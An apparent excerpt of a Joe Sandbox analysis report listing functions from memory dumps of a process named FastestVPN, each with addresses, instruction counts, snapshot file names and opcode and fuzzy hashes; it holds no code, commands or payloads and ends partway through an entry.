                                                                                                                      Function 0B4B77C0 Relevance: .5, Instructions: 457COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: d6a3a83292a1cad0e1f1094039a386c804892a152ec87930474ec0f23968e812
                                                                                                                      • Instruction ID: 5a75ef675328190e7fb40f236db1f6eed70905429a3d587c9c2016e84a221039
                                                                                                                      • Opcode Fuzzy Hash: d6a3a83292a1cad0e1f1094039a386c804892a152ec87930474ec0f23968e812
                                                                                                                      • Instruction Fuzzy Hash: 65122834A00705CFDB25DF69C584AAABBF2FF88300B148A69D5469B755DB31ED82CF90
                                                                                                                      Function 0B483F50 Relevance: .4, Instructions: 401COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 0c6b002a41469743193f2934a33602f68889b4279e09d0fa2efcf711f09d09c0
                                                                                                                      • Instruction ID: c4381a9c3f023c1d45768f6333795a3a45165d4dff627b742bf344d0e0f34146
                                                                                                                      • Opcode Fuzzy Hash: 0c6b002a41469743193f2934a33602f68889b4279e09d0fa2efcf711f09d09c0
                                                                                                                      • Instruction Fuzzy Hash: 3FF14134B002168FCB54EF69D494AAEBBF6FF89700B14816AD905EB365DB31DD01CBA1
                                                                                                                      Function 0B48BB08 Relevance: .4, Instructions: 399COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 648c283763ceda50a952dee3973aa2433a0d19557e55a7f347ab3e8f1cfca3ff
                                                                                                                      • Instruction ID: c588870933151669c7c14d6eb07baba6dd5657680cba8bff55fcac868935f42b
                                                                                                                      • Opcode Fuzzy Hash: 648c283763ceda50a952dee3973aa2433a0d19557e55a7f347ab3e8f1cfca3ff
                                                                                                                      • Instruction Fuzzy Hash: E6F13875B00604CFDB55DF2AC489A6EBBE2FF85610F1884AAE546CB372CB35E901CB51
                                                                                                                      Function 0B48AE48 Relevance: .4, Instructions: 370COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: b6ecfb1a47c665b7c9b940568ae04d9d048676f139d0157d6c4c9445bce93bbe
                                                                                                                      • Instruction ID: afbcdfd55c835b3a8d41a05599bd3e79e25da6cae39cf39336f896256274d4cf
                                                                                                                      • Opcode Fuzzy Hash: b6ecfb1a47c665b7c9b940568ae04d9d048676f139d0157d6c4c9445bce93bbe
                                                                                                                      • Instruction Fuzzy Hash: 7ED1C230B05211CFDB16AB24D49472EBBA2EF85B41F1485AEDC169F395CB36DD82CB90
                                                                                                                      Function 0B4B9C81 Relevance: .4, Instructions: 360COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 4541023222836f9511bc9941baee0c4ba51036749124d75ab3e3503da2d5a9b4
                                                                                                                      • Instruction ID: 7c391146b50c1648c9fbe6936ebe9810315a0c0ec631322d0781c456d0f3f611
                                                                                                                      • Opcode Fuzzy Hash: 4541023222836f9511bc9941baee0c4ba51036749124d75ab3e3503da2d5a9b4
                                                                                                                      • Instruction Fuzzy Hash: 1CE16C34A002459FCB15CF68D494EAEBBF2FF89310F15859AE9459B362D730ED45CBA0
                                                                                                                      Function 0B5161E0 Relevance: .3, Instructions: 343COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 8c37344e4ab9d991b54a195d988897335416ab144d1c39ca4faa19e423316dc8
                                                                                                                      • Instruction ID: 22aa39a1340e19dcde93c9566604596319b7f8975260508e6ef15200e57c9fb7
                                                                                                                      • Opcode Fuzzy Hash: 8c37344e4ab9d991b54a195d988897335416ab144d1c39ca4faa19e423316dc8
                                                                                                                      • Instruction Fuzzy Hash: 76D12B74B002158FEB14DF69D484AADBBF2FF88710B1688A9E905EB361DB30EC41CB50
                                                                                                                      Function 0B4BE402 Relevance: .3, Instructions: 305COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 15b383d0054e13bf10f2d93924f5183b2fab6e30e7fc6d4fe95d1ea004abb582
                                                                                                                      • Instruction ID: a241347d0efe1da9d14188ffdcdfd017f1fb0a0920ffa29cce93fe9a2b6c0c15
                                                                                                                      • Opcode Fuzzy Hash: 15b383d0054e13bf10f2d93924f5183b2fab6e30e7fc6d4fe95d1ea004abb582
                                                                                                                      • Instruction Fuzzy Hash: 74B1D534A04608DFDF48DFA4C4C4ADAFBF2FF98310B14866AC6059B655DB31EA11DB60
                                                                                                                      Function 0B48D8A0 Relevance: .3, Instructions: 300COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 3286e7bb2ec3c9a541008fbe1b9868e19ab76feb1de52292443ee172ccaf9101
                                                                                                                      • Instruction ID: d3dbb6292e763c1d75a28c3f1fca60cf1cad10f3dd964371e42da3448af9e480
                                                                                                                      • Opcode Fuzzy Hash: 3286e7bb2ec3c9a541008fbe1b9868e19ab76feb1de52292443ee172ccaf9101
                                                                                                                      • Instruction Fuzzy Hash: 88C15E70A013059FDB15EF68C484A9EBBF2FF89300B1585AED4599B3A2DB30ED45CB90
                                                                                                                      Function 0B48E3C0 Relevance: .3, Instructions: 296COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 95259e34d271657e9e2cad98f10f8f697657712fe7b2c7f4f7ee80c892de60eb
                                                                                                                      • Instruction ID: 8c581fcd9d90c9ccf3d914b68ead3d4b257a8da7743f2e2936be65f5671f867f
                                                                                                                      • Opcode Fuzzy Hash: 95259e34d271657e9e2cad98f10f8f697657712fe7b2c7f4f7ee80c892de60eb
                                                                                                                      • Instruction Fuzzy Hash: D2B18C34740701DFDB21AF29D444B2FB7F6AF84A01B14482AE89BD7791DB34EA41CB51
                                                                                                                      Function 0B4B1D28 Relevance: .3, Instructions: 288COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: c12476dfa407579a505b7227d88159225b10e9d6941d87a4390a2241e4b606cd
                                                                                                                      • Instruction ID: 73318e0c8f2ca8d58fc6234e933b9cd94258d06890b6d8a97759df8b4002b24c
                                                                                                                      • Opcode Fuzzy Hash: c12476dfa407579a505b7227d88159225b10e9d6941d87a4390a2241e4b606cd
                                                                                                                      • Instruction Fuzzy Hash: 44B1BD307053409FD725DF28D058FA6BBE3EF85611B1981AAE21ADB366CB31ED41CB61
                                                                                                                      Function 0BC466A8 Relevance: .3, Instructions: 281COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2764630812.000000000BC40000.00000040.00000800.00020000.00000000.sdmp, Offset: 0BC40000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_bc40000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 0ed72642c4c66957f89b515b312000025cad441f97970b21f1f793d90f2499f8
                                                                                                                      • Instruction ID: d2a604f65a1cc5535d9f07559059b30fc08ec4f5394c2e25d849ab7e80022080
                                                                                                                      • Opcode Fuzzy Hash: 0ed72642c4c66957f89b515b312000025cad441f97970b21f1f793d90f2499f8
                                                                                                                      • Instruction Fuzzy Hash: 62A19B75A007048FDB14DF69D444A6EBBF2FF8A310B1489AAD84ACB355DB34ED06CB91
                                                                                                                      Function 0B485E10 Relevance: .3, Instructions: 274COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 057845d67ecbebb3b6dbe46c94a9ec3c94b9b93accc543e9b74e8f70bcb052b9
                                                                                                                      • Instruction ID: e0cbd876ebcd24787182ef9930f7511f2802fc77067a226402a8b287aece0237
                                                                                                                      • Opcode Fuzzy Hash: 057845d67ecbebb3b6dbe46c94a9ec3c94b9b93accc543e9b74e8f70bcb052b9
                                                                                                                      • Instruction Fuzzy Hash: 60A19E34B046009FC754EF68D484A9EBBF2EFC921171584AAE506DB366DB30ED41CBA0
                                                                                                                      Function 0B4B42B0 Relevance: .3, Instructions: 259COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: eb3db8625a924a1a67e0ced024e8cfd8f647ac477101fdcfffd19669db51ae98
                                                                                                                      • Instruction ID: 4bb544b8a24b9411ae515ef0edbe56ad42e27798264573f9bd61df40f40cfc00
                                                                                                                      • Opcode Fuzzy Hash: eb3db8625a924a1a67e0ced024e8cfd8f647ac477101fdcfffd19669db51ae98
                                                                                                                      • Instruction Fuzzy Hash: 2781B435B05225DBDF250B148854FBFBAA6EB84B80F18445FEE069B346CB34CE4297B1
                                                                                                                      Function 0B48A832 Relevance: .3, Instructions: 254COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 86ab119e20459b7ed4ca934f9c0f55433cbd368788e48e69771812ecc68aaede
                                                                                                                      • Instruction ID: 88ebccabc2f385c8168140c66c598ed351597558020535d8d33d1d04961e7a3f
                                                                                                                      • Opcode Fuzzy Hash: 86ab119e20459b7ed4ca934f9c0f55433cbd368788e48e69771812ecc68aaede
                                                                                                                      • Instruction Fuzzy Hash: 6481AA307042409FEB14AA38D940B6F7BA7EFC9A90B14886BE51ACB755DB71CD42C760
                                                                                                                      Function 0B48D460 Relevance: .3, Instructions: 251COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: ab87a5acecb16aecb816604591b75b0f6f0250324de1442c95a7284847f784f4
                                                                                                                      • Instruction ID: c59be6dffdbb2a923e0b0044339b32f2809a99fb03b9436eab68fa21a9f1a5c1
                                                                                                                      • Opcode Fuzzy Hash: ab87a5acecb16aecb816604591b75b0f6f0250324de1442c95a7284847f784f4
                                                                                                                      • Instruction Fuzzy Hash: A0919070B002149FDF19EB79D854AAEBBE7EFC9301B148469D90A97380CF359D06CBA1
                                                                                                                      Function 0B4B45B9 Relevance: .2, Instructions: 250COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: b6ab0200c7b8ba421be03019fa77ccf360921f8a53c3c771374b57a7c70819b9
                                                                                                                      • Instruction ID: 160cec86e12e454a56c9a891a1ee4d7ad8054d77ebc06c5a788fbd9d5ffd81a9
                                                                                                                      • Opcode Fuzzy Hash: b6ab0200c7b8ba421be03019fa77ccf360921f8a53c3c771374b57a7c70819b9
                                                                                                                      • Instruction Fuzzy Hash: 20A15C74B002049FDF08DF69D494AAEBBF2FF89310F14846AE9159B362DB35D952CB60
                                                                                                                      Function 0B48B6A0 Relevance: .2, Instructions: 249COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 72b044d4384fb5267023442c49213de11be93297ec252491ecdb516f1afc3a96
                                                                                                                      • Instruction ID: 7271b2adec86cdacc8b823c9e579d7841564ca9bf4b8c09df211b0c4aefb88e8
                                                                                                                      • Opcode Fuzzy Hash: 72b044d4384fb5267023442c49213de11be93297ec252491ecdb516f1afc3a96
                                                                                                                      • Instruction Fuzzy Hash: 46A14F34B007099FDB14EFA5C594AAEB7F6FF88700B14815AD916AB364DB31ED06CB90
                                                                                                                      Function 0B5139F0 Relevance: .2, Instructions: 230COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: c011ae194f119d12e877c16e037e7d8b94625cd47ad70c02528015a5f75fe253
                                                                                                                      • Instruction ID: 536e426b747a5a4845330f2f01ad1500ea7c68968ba53ec662ffc866192b6c2f
                                                                                                                      • Opcode Fuzzy Hash: c011ae194f119d12e877c16e037e7d8b94625cd47ad70c02528015a5f75fe253
                                                                                                                      • Instruction Fuzzy Hash: FDA10B34A04605EFEB05CF58C494969BBB2FF45324B16C8DAE81ACB362D731ED41CB94
                                                                                                                      Function 0B515DF8 Relevance: .2, Instructions: 229COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: da3196909a47dd20ee4b42c0c30a49b1a39caab0c9195d3ba9f5b835157387d9
                                                                                                                      • Instruction ID: 5805643c9dfb362f63df6d7d47528d8bc4272c560e2673d17ab92a0c7ae5d14e
                                                                                                                      • Opcode Fuzzy Hash: da3196909a47dd20ee4b42c0c30a49b1a39caab0c9195d3ba9f5b835157387d9
                                                                                                                      • Instruction Fuzzy Hash: 5781ECB2513211FFD68EDBE5D888C4BF768BB4D35271406C9E619AB002DB32A591CBF1
                                                                                                                      Function 0B4B5098 Relevance: .2, Instructions: 216COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 2ba10c22e732a89b23c95f41ddce729126572cfdeb85d07f0f02469398d115bf
                                                                                                                      • Instruction ID: d29fefc8cf68509e3aaf2a276bd45a3d4ea590d9b2681e435eb47fb88c3b14bd
                                                                                                                      • Opcode Fuzzy Hash: 2ba10c22e732a89b23c95f41ddce729126572cfdeb85d07f0f02469398d115bf
                                                                                                                      • Instruction Fuzzy Hash: 1C819F31E002499FCB01DFA9D894AEEFBF5FF89310F1481AAE509E7251D7319A45CBA0
                                                                                                                      Function 0B488FC0 Relevance: .2, Instructions: 216COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: a65f1429d44701609ae6359dc6ca03743af4a6130494c21c62bfe0e768660e29
                                                                                                                      • Instruction ID: d2f0b08829351558a1afdecb4a4f092190aac0cce6724b0d503f0d0ad4749fec
                                                                                                                      • Opcode Fuzzy Hash: a65f1429d44701609ae6359dc6ca03743af4a6130494c21c62bfe0e768660e29
                                                                                                                      • Instruction Fuzzy Hash: D3717071B042459FDB059FA8D844ABEBFB7EFC9210B14849AE505DB362CB30DD06CB61
                                                                                                                      Function 0B4B3250 Relevance: .2, Instructions: 201COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: ae388528b9247175c74e839c1718a33972ebb8c496ea2b0b9d938f7252d61e96
                                                                                                                      • Instruction ID: fc4002c08c8ef3157d3497e8bb39086b8da776b9ab0ad52c7f25f08720116e6a
                                                                                                                      • Opcode Fuzzy Hash: ae388528b9247175c74e839c1718a33972ebb8c496ea2b0b9d938f7252d61e96
                                                                                                                      • Instruction Fuzzy Hash: 6D81BD31700716CFDB24DF2AD584AABBBF2FF84601B04852AD916C7354DB70EA46CBA5
                                                                                                                      Function 0B48FCF8 Relevance: .2, Instructions: 199COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: f27b7deadc664a26863793439080ff3015405059197d4d88eae7f02836e6bec5
                                                                                                                      • Instruction ID: 1eead17f51162634fd6ddd43939161ad7ff8848e4fb36c3a8991f5c669bb9779
                                                                                                                      • Opcode Fuzzy Hash: f27b7deadc664a26863793439080ff3015405059197d4d88eae7f02836e6bec5
                                                                                                                      • Instruction Fuzzy Hash: BE516831B082449FD715EBBCE410A6E7BF2DF8625071449ABD80ACB391DF39DD068791
                                                                                                                      Function 0B48B68F Relevance: .2, Instructions: 189COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 4b91e66a0eb3440bffe8dca0c5551dce099c86c6fb3630c88529c927102ecfdc
                                                                                                                      • Instruction ID: 5b68cd23747da20e98e6ac161af7a0fd3ff5feb17601a21fc1946283afbf38a7
                                                                                                                      • Opcode Fuzzy Hash: 4b91e66a0eb3440bffe8dca0c5551dce099c86c6fb3630c88529c927102ecfdc
                                                                                                                      • Instruction Fuzzy Hash: 91715230A007059FDB14EF65C594A9EBBF2FF89740B148569D816AB364DB31ED06CF90
                                                                                                                      Function 0B483F3F Relevance: .2, Instructions: 182COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: ac94a5404fdb13cd408b46bbe7886f34a67ebe493eb0a943eaf19cb77acb5413
                                                                                                                      • Instruction ID: c5bc5348873cb87233e07d6b4cc448107213d681878ecced11bf94b18c1596da
                                                                                                                      • Opcode Fuzzy Hash: ac94a5404fdb13cd408b46bbe7886f34a67ebe493eb0a943eaf19cb77acb5413
                                                                                                                      • Instruction Fuzzy Hash: 03613C30B002168FCB55EF69C484AAEBBF6AFC9641B1481AAD905EB355DB31DD01CBA1
                                                                                                                      Function 0B4BFB98 Relevance: .2, Instructions: 180COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761014438.000000000B4B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B4B0000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b4b0000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 80d07ff89ab0177f701115ed1237d8937345e3d846ccf3492b17386292ee51a8
                                                                                                                      • Instruction ID: 41b5286f419a2685ae8a231e261d9c26163e78ede5325a6d87817152edc8a998
                                                                                                                      • Opcode Fuzzy Hash: 80d07ff89ab0177f701115ed1237d8937345e3d846ccf3492b17386292ee51a8
                                                                                                                      • Instruction Fuzzy Hash: 7D514171B001049FC718DF69E8949AABBEAEBC8310B25C56AE909D7354DF319D06CB90
                                                                                                                      Function 0B48B2D0 Relevance: .2, Instructions: 180COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 1f24f03d5ed0493409a8450d58fefe81595742d133710dd1ee68edf313ccf2f3
                                                                                                                      • Instruction ID: 26e10c14b326d6894de47835da775ea0678c15fcc9525a981a726316230f2b1f
                                                                                                                      • Opcode Fuzzy Hash: 1f24f03d5ed0493409a8450d58fefe81595742d133710dd1ee68edf313ccf2f3
                                                                                                                      • Instruction Fuzzy Hash: 8F617D31A00614DFDB18EF64D498AAEB7B5FF88B10F10806AD95AE7361DB32DD42CB50
                                                                                                                      Function 0B5141B8 Relevance: .2, Instructions: 180COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2761219294.000000000B510000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B510000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b510000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 5a26e68fe7c1f6b33fe39d8825de452b63730aae9fff4be88ae636954a555ad3
                                                                                                                      • Instruction ID: b49cfc3acb4b982a916bd594a038f9f8d8c003a1665c56ce493d884ebb79fc8e
                                                                                                                      • Opcode Fuzzy Hash: 5a26e68fe7c1f6b33fe39d8825de452b63730aae9fff4be88ae636954a555ad3
                                                                                                                      • Instruction Fuzzy Hash: 06611870B002058FEB14DF69D554AADBBF6BF89704F1488A9E406DB361DB31AD41CF90
                                                                                                                      Function 0B48D44F Relevance: .2, Instructions: 175COMMON
                                                                                                                      Download Yara Rule
                                                                                                                      Memory Dump Source
                                                                                                                      • Source File: 00000018.00000002.2760638760.000000000B480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B480000, based on PE: false
                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                      • Snapshot File: hcaresult_24_2_b480000_FastestVPN.jbxd
                                                                                                                      Similarity
                                                                                                                      • API ID:
                                                                                                                      • String ID:
                                                                                                                      • API String ID:
                                                                                                                      • Opcode ID: 227120cb8a8c28ecb2edfacdc5d420c1bdfc39d9e02c6a8f20e7037078f05e71
